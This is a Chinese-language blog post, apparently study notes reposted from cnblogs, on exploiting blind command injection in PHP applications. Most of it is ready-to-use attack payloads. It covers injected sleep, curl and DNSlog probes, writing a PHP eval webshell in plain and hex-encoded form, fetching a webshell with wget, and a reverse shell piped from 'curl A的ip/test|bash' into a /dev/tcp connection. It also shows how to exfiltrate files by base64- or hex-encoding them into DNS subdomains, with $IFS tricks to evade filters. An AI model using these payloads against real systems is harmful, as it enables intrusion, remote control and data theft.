php命令执行无回显判断及利用方法

本文由学习https://xz.aliyun.com/t/8125中收获得知识而来,附带个人的一些思考。

甲、php无回显时命令注入判断方法

利用延时

ip=|sleep 5

HTTP请求

ip=|Curl 'http://x.x.x.x:233'

Nc -lvv -p 233

dnslog

和http请求判断方法差不多,ip换成dns的分配域名的三级域名。

ceye.io中使用分配的二级域名的三级域名。例如1.2.ceye.io

乙、webshell

1、写webshell

在cmd环境下,若直接使用echo写入shell.php或jsp等后缀名无效时,可以尝试写入txt或其他文件,再使用rename命令重命名。Rename 1.txt 1.php

其他环境中方法类似。

echo "<?php @eval($_POST[123]); ?>" > webshell.txt

//写shell

echo 3c3f706870206576616c28245f504f53545b3132335d293b203f3e|xxd -r -ps > webshell.txt

//将输入的十六进制字符串解码后写入文件

Mv webshell.txt webshell.php

2、远程下载shell

wget 网址 -O webshell.php

反弹shell

A:

Nc -lvv -p 2333

创建站点,新建文件test,内容为 bash -i >& /dev/tcp/A的ip/2333 0>&1

B:

Ip=|curl A的ip/test|bash

丙、读文件

1、有权限,调用/bin/cat

2、无权限,使用下载

1)将无法读取的文件,写入到可读取的文件类型中。

cat flag.php > flag.txt或

cat flag.php >> flag.txt

2)cp flag.php flag.txt

3)mv flag.php flag.txt

4)tar cvf flag.tar flag.php
tar zcvf flag.tar.gz flag.php

3、dnslog,无回显

注:此方法仅限小文件读取,因为编码后字符串可能过长,而域名最长为63位,所以大文件无法通过此方法读取。

curl `命令`.域名

ip=|curl 1.2.ceye.io

ip=|curl 'cat<flag.php|base64'.2.ceye.io

//<代替空格,管道符对读取内容做base64编码

使用base编码后由于可能有特殊字符,无法被识别。

 

改为16进制,空格以$IFS替换。

curl `cat<1.txt|xxd$IFS-ps`.dr2i9v.dnslog.cn

但使用xxd默认每行16个字符,换行后不带二级域名的就无法访问。

 

xxd可指定每行字符得数量,-c最多256个字符

重新构造

curl `cat<1.txt|xxd$IFS-ps$IFS-c256`.dr2i9v.dnslog.cn

 

 

 

原文地址:https://www.cnblogs.com/pykiller/p/13719759.html